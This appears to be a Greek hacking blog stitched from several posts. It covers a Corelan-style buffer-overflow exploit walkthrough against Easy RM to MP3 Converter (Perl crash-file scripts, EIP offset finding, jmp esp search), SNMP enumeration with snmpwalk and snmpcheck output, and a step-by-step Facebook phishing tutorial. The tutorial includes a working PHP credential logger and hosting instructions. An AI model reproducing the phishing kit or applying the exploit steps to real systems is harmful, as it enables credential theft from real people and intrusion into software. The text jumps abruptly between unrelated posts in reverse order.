Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.111.128
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
C:\Documents and Settings\Administrator\Desktop> GAME OVER
www.fuzzysecurity.com
EXPLOIT DEVELOPMENT#3 ΚΑΙ ΤΕΛΕΥΤΑΙΟ ΜΕΡΟΣ(Corelan Team)
Μεταπήδηση στον ShellC0de
Μπορέσαμε να τοποθετήσουμε τον shellcode ακριβώς εκεί που δείχνει η ESP(ή αν το δείς απο διαφορετική οπτική γωνία, η ESP δείχνει ακριβώς στην αρχή του shellcode μας).
Η αιτία που θέλαμε να ξαναγράψουμε την ΕΙΡ με την διεύθυνση της ESP ήταν γιατί θέλαμε η εφαρμογή να μεταπηδήσει στην ESP και να τρέξει τον shellcode μας.
Η μεταπήδηση στην ESP είναι κάτι πολύ συνηθισμένο στις εφαρμογές windows. Στην πραγματικότητα οι windows εφαρμογές χρησιμοποιούν ένα ή περισσότερα dll και αυτά τα dll περιέχουν πολλές εφαρμογές κώδικα.Οι διευθύνσεισ που χρησιμοποιούνται απο αυτά τα dll είναι πολύ στατικές οπότε εάν μπορούμε να βρούμε ένα dll που περιέχει (to jump to esp) και ξαναγράψουμε την ΕΙΡ με αυτό το dll θα δουλέψει.
Πρώτα όμως πρέπει να βρούμε που γράφει jump to esp.Mπορούμε να το βρούμε αυτό με το να φορτώσουμε το Easy RM to MP3, μετά να να ανοίξουμε το windbg και να ενώσουμε αυτά τα δύο μαζί(Απλά συνδέστε το με την όλη διαδικασία δεν κάνουμε τπτ στο RM to MP3).Αυτό μας οδηγεί να δούμε όλα τα dll/modules που είναι φορτωμένα στην εφαρμογή.
Μπορέσαμε να τοποθετήσουμε τον shellcode ακριβώς εκεί που δείχνει η ESP(ή αν το δείς απο διαφορετική οπτική γωνία, η ESP δείχνει ακριβώς στην αρχή του shellcode μας).
Όταν σταματήσει η εφαρμογή στο windbg στο κάτω μέρος της οθόνης πίεσε a(assemble) και μετά return .Τώρα πάτα jmp esp και μετά return.
Πάτα return ξανά και u(unassemble) το οποίο ακολυθείται απ την διεύθυνση πριν μπούμε στο jmp esp
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ffe4 jmp esp
7c901210 8bff mov edi,edi
ntdll!DbgUserBreakPoint:
7c901212 cc int 3
7c901213 c3 ret
7c901214 8bff mov edi,edi
7c901216 8b442404 mov eax,dword ptr [esp+4]
7c90121a cc int 3
7c90121b c20400 ret 4
Δίπλα απο το 7c90120e μπορείς να δείς το ffe4.Αυτός είναι ο κωδικός για το jmp esp.Τώρα αυτό που μένει είναι να βρούμε αυτόν τον κωδικό σ'ενα απο τα dll's.
Koίτα στην κορυφή του windbg και δες για γραμμές που περιέχουν dll που να ανήκουν στο Easy RM to MP3.
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: *** Invalid ***
****************************************************************************
* Symbol loading may be unreliable without a symbol search path. *
* Use .symfix to have the debugger choose a symbol path. *
* After setting your symbol path, use .reload to refresh symbol locations. *
****************************************************************************
Executable search path is:
ModLoad: 00400000 004be000 C:\Program Files\Easy RM to MP3 Converter\RM2MP3Converter.exe
ModLoad: 7c900000 7c9b2000 C:\WINDOWS\system32\ntdll.dll
ModLoad: 7c800000 7c8f6000 C:\WINDOWS\system32\kernel32.dll
ModLoad: 78050000 78120000 C:\WINDOWS\system32\WININET.dll
ModLoad: 77c10000 77c68000 C:\WINDOWS\system32\msvcrt.dll
ModLoad: 77f60000 77fd6000 C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77dd0000 77e6b000 C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f02000 C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fe0000 77ff1000 C:\WINDOWS\system32\Secur32.dll
ModLoad: 77f10000 77f59000 C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e410000 7e4a1000 C:\WINDOWS\system32\USER32.dll
ModLoad: 00330000 00339000 C:\WINDOWS\system32\Normaliz.dll
ModLoad: 78000000 78045000 C:\WINDOWS\system32\iertutil.dll
ModLoad: 77c00000 77c08000 C:\WINDOWS\system32\VERSION.dll
ModLoad: 73dd0000 73ece000 C:\WINDOWS\system32\MFC42.DLL
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 5d090000 5d12a000 C:\WINDOWS\system32\COMCTL32.dll
ModLoad: 7c9c0000 7d1d7000 C:\WINDOWS\system32\SHELL32.dll
ModLoad: 76080000 760e5000 C:\WINDOWS\system32\MSVCP60.dll
ModLoad: 76b40000 76b6d000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 76390000 763ad000 C:\WINDOWS\system32\IMM32.DLL
ModLoad: 773d0000 774d3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\comctl32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 774e0000 7761d000 C:\WINDOWS\system32\ole32.dll
ModLoad: 10000000 10071000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll
ModLoad: 71ab0000 71ac7000 C:\WINDOWS\system32\WS2_32.dll
ModLoad: 71aa0000 71aa8000 C:\WINDOWS\system32\WS2HELP.dll
ModLoad: 00ce0000 00d7f000 C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll
ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll
If we can find the opcode in one of these dll’s, then we have a good chance of making the exploit work reliably across windows platforms. If we need to use a dll that belongs to the OS, then we might find that the exploit does not work for other versions of the OS. So let’s search the area of one of the Easy RM to MP3 dll’s first.
We’ll look in the area of C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll. This dll is loaded between 01b10000 and 01fd000. Search this area for ff e4 :
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........
01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...
01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......
01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X........
Tέλεια!(Δεν περίμενα κάτι διαφορετικό...το jmp esp είναι είναι μια συνηθισμένη λειτουργία).
EXPLOIT DEVELOPMENT#2(Corelan Team)
Αυτό είναι το gui του immunity debugger, το οποίο είναι ένα πρόγραμμα εντοπισμού σφαλμάτων σε μια εφαρμογή.
Αυτό το GUI μας δείχνει στο πάνω αριστερά μέρος την κατάσταση της CPU που έχει assembly κωδικούς και εντολές(το παράθυρο είναι άδειο γιατι η ΕΙΡ προς το παρόν είναι στα 41414141 και αυτό δεν είναι μια έγκυρη διεύθυνση). Στο πάνω δεξιά παράθυρο μπορούμε να δούμε τους registers.Στο κάτω αριστερά βλέπουμε την memory dump του 00446000 σ’αυτήν την περίπτωση. Στο κάτω δεξιά παράθυρο μπορείς να δείς τα περιεχόμενα του stack(οπότε τα περιεχόμενα της μνήμης της τοποθεσίας που δείχνει η ESP).
Όπως και να χει βλέπουμε τον δείκτη εντολής στα 41414141, που είναι η δεκαεξαδική παρουσίαση για το ΑΑΑΑ
Οπότε δείχνει πως μέρος του m3u φακέλου διαβάστηκε στο Buffer και δημιούργησε buffer overflow. Τώρα ίσως είμαστε σε θέση να ελέγξουμε την τιμή της ΕΙΡ.
Από την στιγμή που ο φάκελος μας περιέχει μόνο Α δεν γνωρίζουμε ακριβώς πόσο μεγάλο χρειάζεται να είναι το Buffer για να γράψουμε ακριβώς πάνω στην ΕΙΡ. Με άλλα λόγια αν θέλουμε να είμαστε πιο ακριβείς για την επανεγγραφή της ΕΙΡ(για να μπορούμε να της δώσουμε data και να την κάνουμε να μεταπηδήσει στον κακό μας κώδικα πρέπει να ξέρουμε την ακριβή τοποθεσία του buffer/payload όπου θα γράψουμε στην διεύθυνση επιστροφής(η οποια θα γίνει ΕΙΡ όταν η λειτουργία γυρίσει ξανά). Αυτή η θέση πολύ συχνά λέγεται «offset».
Καθορισμός της ακριβής θέσης του buffer για να γράψει ακριβώς στην ΕΙΡ
Γνωρίζουμε ότι η ΕΙΡ είναι τοποθετημένη κάπου μεταξύ 20000 και 30000 Bytes από την αρχή του Buffer. Τώρα θεωρητικά μπορούμε να γράψουμε στον χώρο της μνήμης μεταξύ 20000 και 30000 bytes. Αυτό μπορεί και να δουλέψει αλλά είναι πολύ πιο όμορφο αν ξέρουμε την ακριβή τοποθεσία που θα γράψουμε τον κώδικα μας. Οπότε για να βρούμε το ακριβές offset της ΕΙΡ του Buffer μας πρέπει να κάνουμε μια επιπρόσθετη εργασία.
Αλλάζουμε λίγο τον κώδικα γραμμένο σε perl γλώσσα:
Θα δημιουργήσουμε έναν φάκελο που περιέχει 2500 Α και άλλα 5000 Β. Αν η ΕΙΡ περιλαμβάνει 41414141(ΑΑΑΑ)η ΕΙΡ βρίσκεται μεταξύ 2000 και 2500 και αν περιέχει 42424242(ΒΒΒΒ) βρίσκεται μεταξύ 2500 και 3000.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Οκ οπότε η ΕΙΡ περιέχει 42424242(ΒΒΒΒ) οπότε ξερουμε ότι η ΕΙΡ έχει offset μεταξύ 2500 και 3000.Αυτό επίσης σημαίνει ότι πρεπει να δούμε αυτά τα Β στην μνήμη που βρίσκονται στην ESP.
Buffer :
[ 5000 B's ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
25000 A's EIP ESP points here
0:000> d esp
000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBB
Αυτά είναι σπουδαία νέα. Γράψαμε πάνω στην ΕΙΡ ΒΒΒΒ και μπορούμε να δούμε τον Buffer μας στην ESP.
Πρίν ξεκινήσουμε να τσιμπάμε τον κώδικα, πρέπει να βρούμε την ακριβή τοποθεσία που ο Buffer μας γράφει στην ΕΙΡ. Σ’αυτό θα μας βοηθήσει το Metasploit.
Έχει ένα εργαλείο το οποίο μας βοηθά να υπολογίσουμε το offset.Θα δημιουργήσει μια γραμμή που θα περιέχει ξεχωριστούς χαρακτήρες.
Ονομάζεται pattern_create rb.Δημιούργησε έναν pattern με 5000 χαρακτήρες και γράψε τον σ’έναν φάκελο.
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
Τοποθετούμε τους 5000 χαρακτήρες στον perl κώδικα μας.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Ξανανοίγουμε την εφαρμογή και όταν ξαναπεθάνει βλέπουμε την κατάσταση της ΕΙΡ:
Χρησιμοποιύμε ένα δεύτερο εργαλείο του metasploit για να υπολογίσουμε το ακριβές μέγεθος του Buffer Πριν γράψει στην EIP, χρησιμοποιώντας την τιμή της ΕΙΡ(βασισμένη στον φάκελο pattern) και στο μέγεθος του buffer:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#
1094 είναι το αποτέλεσμα οπότε, 25000+1094 A και μετά 4 B’s (42 42 42 42) η ΕΙΡ πρέπει να περιλαμβάνει 42 42 42 42.
Αλλάζουμε πάλι τον κώδικα per και βάζουμε και C:
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Tέλεια η ΕΙΡ περιέχει 4Β, που είναι ακριβώς αυτό που ζητούσαμε. Οπότε τώρα ελέγχουμε την ΕΙΡ.
Βρίσκουμε χώρο στην μνήμη για να φορτώσουμε τον SHELLCODE.
Eλέγχουμε την ΕΙΡ οπότε μπορούμε να την πάμε κάπου αλλού σ’ένα μέρος που περιέχει τον shellcode μας.Αλλά που μπορούμε να τοποθετήσουμε τον shellcode μας και πως μπορούμε να κάνουμε την ΕΙΡ να μεταπηδήσει σ’αυτή την τοποθεσία;
EXPLOIT DEVELOPMENT #1(Coralen Team)
ΠΩΣ ΝΑ ΚΑΝΕΙΣ ΜΙΑ ΣΕΛΙΔΑ ΨΑΡΕΜΑΤΟΣ ΓΙΑ ΤΟ FACEBOOK
Υπάρχουν πολλοί και διάφοροι τρόποι να κάνεις μια ιστοσελίδα ψαρέματος κι εγώ φυσικά θα γράψω τον πιο απλό, αν και με το θέμα του phishing θα ασχοληθούμε αρκετά σε επόμενα posts.
Ιστοσελίδα ψαρέματος λέμε μια σελίδα η οποία κατ'ουσία ψαρεύει απο τον χρήστη προσωπικά του στοιχεία όπως passwords, αριθμούς πιστωτικής κάρτας και πολλά άλλα. Στην ουσία είναι μια σελίδα που μοιάζει με μια αρκετά γνωστή ή φαινομενικά ασφαλής που να κάνει το υποψήφιο θύμα να πιάσει το δόλωμα και να καταχωρήσει τα προσωπικά του στοιχεία.
Υπάρχουν πολλά είδη τέτοιων ιστοσελίδων όπως Phising, Spear phising,Clone phising, Rogue κλπ όπου το κάθε είδος έχει και την δική του τεχνική και στρατηγική.
Φυσικά υπάρχουν κι άλλοι τρόποι ψαρέματος βέβαια όπως με φωτογραφίες παραδείγματος χάριν, που δύσκολα πιάνεται απο ant-iphishing φίλτρα.
Το παρακάτω παράδειγμα είναι αρκετά απλό αλλά γενικά σαν νοοτροπία και τρόπος υποκλοπής των στοιχείων του χρήστη θέλει τέχνη και είναι αρκετά δύσκολο το να πετύχει(εφόσον μιλάμε για στοχευμένο χρήστη κι οχι πετάω ένα url στο διαδίκτυο κι όποιος το πατήσει)
ΠΡΟΣΟΧΗ! ΔΕΝ ΕΠΙΚΡΟΤΩ ΤΕΤΟΙΕΣ ΕΝΕΡΓΕΙΕΣ ΑΛΛΑ ΕΙΝΑΙ ΣΗΜΑΝΤΙΚΑ ΝΑ ΒΓΑΙΝΟΥΝ ΑΥΤΑ ΤΑ ΘΕΜΑΤΑ ΩΣΤΕ ΝΑ ΕΙΝΑΙ ΕΝΗΜΕΡΟΣ Ο ΚΟΣΜΟΣ ΓΙΑ ΘΕΜΑΤΑ ΑΣΦΑΛΕΙΑΣ.
Θα κάνουμε μια ιστοσελίδα σαν το facebook στην οποία οταν γράφεται ο οποιοσδήποτε μπορούμε να πάρουμε τα στοιχεία του.
1)Πρώτα κάνουμε ένα αρχείο php το οποίο το ονομάζουμε login.php και έχει τον παρακάτω κώδικα
<?php
header ('Location:http://www.facebook.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
2)Μετά πάμε στο facebook.com και πατάμε ctrl+S και επικόληση στο Notepad,Dreamweaver, notepad++ ή οτι editor έχετε και πατήστε επικόληση( ctrl+V). Κάνουμε δλδ αντιγραφή και επικόληση τον source code της ιστοσελίδας facebook στον editor μας.
3) Επιτόπου όπως είμαστε με τον source code μπροστά μας πατάμε ctrl+F και ψάχνουμε action χωρίς εισαγωγικά το οποίο θα είναι κάπως έτσι: action="www.facebook.com/login.php?login_attempt=1.
Το "www.facebook.....=1" το αντικαθιστούμε με το login.php το οποίο το δημιουργήσαμε αρχικά.
4) Κλείνουμε και αποθηκεύουμε την ονομασία index.html.
5)Προς το παρόν έχουμε 2 files, ο ένας είναι με ονομασία login.php και ο άλλος ως index.html.
6)Τώρα μένει να την ανεβάσουμε την ιστοσελίδα μας σ'ενα web hosting site όπως στο www.000webhost.com το οποίο είναι και εύκολο και δωρεάν.
7)Κάνεις λογαριασμο και πατάς control panel και μετά file manager. Διαγράφεις τον φάκελο default.php και ανεβάζεις το index.html και login.php.
8)To site σου είναι έτοιμο για χρήση. Αφού το στείλεις στο υποψήφιο θύμα μπορείς να δείς τα στοιχεία του αφού ανοίξεις τον λογαριασμό σου στο Hοsting site πας στο file manager και μετά στο public.html εκέι θα έχει έναν φάκελο username text και εκέι θα βρείς οτι χρειάζεσαι :D
Με αυτό το απλό τρίκ πολλοί έχουν πέσει θύματα απάτης και άλλοι έχουν θησαυρίσει οπότε μην το υποτιμάτε.
Πολλοί δυστυχώς δεν γνωρίζουν την χρησιμότητα του Simple Network Management Protocol(SNMP), το οποίο μπορεί να αποδειχτεί θησαυρός στην συγκομιδή πληροφοριών. Εφόσον μπορεί να κατανοηθεί το πως λειτουργεί μπορεί και να παραβιαστεί.
Το SNMP τρέχει στο UDP στην 161 θύρα και ενεργοποιεί έναν network admin για να μαζέψει πληροφορίες και να διαχειριστεί τις διαδικτυακές συσκευές. Κάθε τέτοια συσκευή ανταποκρίνεται με πληροφορίες σχετικά με το πότε έγινε, το μοντέλο της κλπ.
Όλη αυτή η πληροφόρηση πηγαίνει στην ΜΙΒ(Master Information Base) στην οποία εάν έχουμε πρόσβαση μπορούμε να ξέρουμε ακριβώς κάθε συσκευή στο διαδίκτυο. Εάν μπορούμε να σπάσουμε τον κωδικό του SNMP, μπορούμε να έχουμε υπό τον έλεγχο μας κάθε network device.
Yπάρχουν τουλάχιστον τρείς τύποι του SNMP:
O πρώτος, SNMPv1, δεν ήταν ασφαλής, ο SNMPv2 δημιουργήθηκε για να είναι πιο ασφαλής αλλά δεν ήταν συμβατός με το v1.Ο SNMPv3 είναι ασφαλής και συμβατός.
Ας δούμε μερικά παραδείγματα που θα μας βοηθήσουν να καταλάβουμε την χρήση του SNMP, απλά γράφοντας τα παρακάτω στο Κali Linux:
Καταμέτρηση των windows χρηστών:
IH # snmpwalk -c public -v1 192.168.0.110 1.3 |grep 77.1.2.25 |cut -d" " -f4
"Guest"
"Administrator"
"IUSR_WIN2KSP4"
"IWAM_WIN2KSP4"
"TsInternetUser"
"NetShowServices"
IH #
Καταμέτρηση υπηρεσιών που τρέχουν:
IH # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWRunName|cut -d" " -f4
"System
"System"
"smss.exe"
"csrss.exe"
"winlogon.exe"
"cmd.exe"
"services.exe"
"lsass.exe"
"svchost.exe"
"SPOOLSV.EXE
"VMwareTray.exe"
"msdtc.exe"
"explorer.exe"
"svchost.exe"
"llssrv.exe"
"NSPMON.exe"
"NSCM.exe"
"regsvc.exe"
"mstask.exe"
"snmp.exe"
"VMwareService.e"
"svchost.exe"
"inetinfo.exe"
"nspm.exe"
"NSUM.exe"
"wuauclt.exe"
"VMwareUser.exe"
"dfssvc.exe"
IH snmpenum #
Καταμέτρηση ανοικτών TCP θυρών:
IH# snmpwalk -c public -v1 192.168.0.110 1 |grep tcpConnState |cut -d"." -f6 |
sort -nu
21
25
80
119
135
139
443
445
563
1025
1026
1027
1045
1755
3372
6666
7007
7778
8328
Καταμέτρηση εγκατεστημένου λογισμικού:
IH snmpenum # snmpwalk -c public -v1 192.168.0.110 1 |grep hrSWInstalledName
HOST-RESOURCES-MIB::hrSWInstalledName.1 = STRING: "WebFldrs"
HOST-RESOURCES-MIB::hrSWInstalledName.2 = STRING: "VMware Tools"
IH snmpenum #
Υπάρχουν πολλά εργαλεία που μπορεί να χρησιμοποιήσει κανείς όπως το snmpcheck.pl το οποίο μπορούμε να το βρούμε στο /pentest/enumeration/snmpenum και μπορεί να χρησιμοποιηθεί όπως το παρακάτω παράδειγμα:
IH snmpenum # ./snmpcheck-1.3.pl -t 192.168.0.110
snmpcheck.pl v1.3 - snmp enumerator
Copyright (c) 2005,2006 by nothink.org
Hostname : DC
Ip address : 192.168.0.110
Hardware : x86 Family 15 Model 4 Stepping 8 AT/AT COMPATIBLE - Software
Software : Windows 2000 Version 5.0 (Build 2195 Uniprocessor Free)
Primary Domain : WORKGROUP
System Uptime : 4 hours, 45:37.84
Hardware
-------------------------------------------------------------------------
Total Memory : 261616 KB
A:\
Device Type : Removable Disk
Partition Type : UNKNOWN
C:\ Label: Serial Number a0eb9535
Device Type : Fixed Disk
Partition Type : NTFS
D:\
Device Type : Compact Disc
Partition Type : UNKNOWN
User accounts
-------------------------------------------------------------------------
Administrator
IUSR_WIN2KSP4
IWAM_WIN2KSP4
TsInternetUser
NetShowServices
Guest
Processes
-------------------------------------------------------------------------
Process id Process name
1 System Idle Process
1024 NSUM.exe
1032 wuauclt.exe
1440 VMwareUser.exe
1468 dfssvc.exe
160 smss.exe
184 csrss.exe
204 winlogon.exe
216 cmd.exe
232 services.exe
244 lsass.exe
436 svchost.exe
468 SPOOLSV.EXE
480 VMwareTray.exe
496 msdtc.exe
560 explorer.exe
608 svchost.exe
644 llssrv.exe
708 NSPMON.exe
720 NSCM.exe
8 System
800 regsvc.exe
828 mstask.exe
900 snmp.exe
932 VMwareService.e
968 svchost.exe
984 inetinfo.exe
Network services
-------------------------------------------------------------------------
DNS Client
DHCP Client
Workstation
SNMP Service
Plug and Play
Print Spooler
RunAs Service
Task Scheduler
Computer Browser
Automatic Updates
COM+ Event System
IIS Admin Service
Protected Storage
Removable Storage
IPSEC Policy Agent
Network Connections
Logical Disk Manager
VMware Tools Service
FTP Publishing Service
Distributed File System
License Logging Service
Remote Registry Service
Security Accounts Manager
System Event Notification
Remote Procedure Call (RPC)
TCP/IP NetBIOS Helper Service
Windows Media Monitor Service
Windows Media Program Service
Windows Media Station Service
Windows Media Unicast Service
NT LM Security Support Provider
Distributed Link Tracking Client
World Wide Web Publishing Service
Distributed Transaction Coordinator
Simple Mail Transport Protocol (SMTP)
Network News Transport Protocol (NNTP)
Windows Management Instrumentation Driver Extensions
Server
Alerter
Event Log
Messenger
Network interfaces
-------------------------------------------------------------------------
IP Forwarding Enabled : no
Interface : [ up ] MS TCP Loopback interface
Hardware Address :
Interface Speed : 10 Mbps
IP Address : 127.0.0.1
Netmask : 255.0.0.0
Bytes In : 429
Bytes Out : 429
Routing information
-------------------------------------------------------------------------
Destination Next Hop Mask Metric
127.0.0.0 127.0.0.1 255.0.0.0 1
192.168.0.0 192.168.0.110 255.255.255.0 1
192.168.0.110 127.0.0.1 255.255.255.255 1
192.168.0.255 192.168.0.110 255.255.255.255 1
224.0.0.0 192.168.0.110 224.0.0.0 1
TCP connections
-------------------------------------------------------------------------
Local Address Port Remote Address Port
0.0.0.0 1025 0.0.0.0 59525
0.0.0.0 1026 0.0.0.0 18494
0.0.0.0 1027 0.0.0.0 26644
0.0.0.0 119 0.0.0.0 2240
0.0.0.0 135 0.0.0.0 2176
0.0.0.0 1755 0.0.0.0 59428
0.0.0.0 21 0.0.0.0 51229
0.0.0.0 25 0.0.0.0 35068
0.0.0.0 3372 0.0.0.0 10437
0.0.0.0 443 0.0.0.0 43064
0.0.0.0 445 0.0.0.0 26698
0.0.0.0 563 0.0.0.0 2128
0.0.0.0 6666 0.0.0.0 43131
0.0.0.0 7007 0.0.0.0 51204
0.0.0.0 7778 0.0.0.0 18667
0.0.0.0 80 0.0.0.0 26797
0.0.0.0 8328 0.0.0.0 2208
192.168.0.110 1046 192.168.0.1 139
Software components
-------------------------------------------------------------------------
WebFldrs
IIS
-------------------------------------------------------------------------
totalBytesSentLowWord : 0
totalBytesReceivedLowWord : 0
totalFilesSent : 0
currentAnonymousUsers : 0
currentNonAnonymousUsers : 0
totalAnonymousUsers : 0
totalNonAnonymousUsers : 0
maxAnonymousUsers : 0
maxNonAnonymousUsers : 0
currentConnections : 0
maxConnections : 0
connectionAttempts : 0
logonAttempts : 0
totalGets : 0
totalPosts : 0
totalHeads : 0
totalOthers : 0
totalCGIRequests : 0
totalBGIRequests : 0
totalNotFoundErrors : 0
107
ΠΑΡΟΥΣΙΑΣΗ ΤΟΥ ΜΟΝΑ.PY
Η Μona είναι απόγονος του !ipvefindaddr και έχει ακόμα περισσότερες λειτουργίες, οι οποίες διευκολύνουν την διαδικασία του exploit development.
Βασική Χρήση
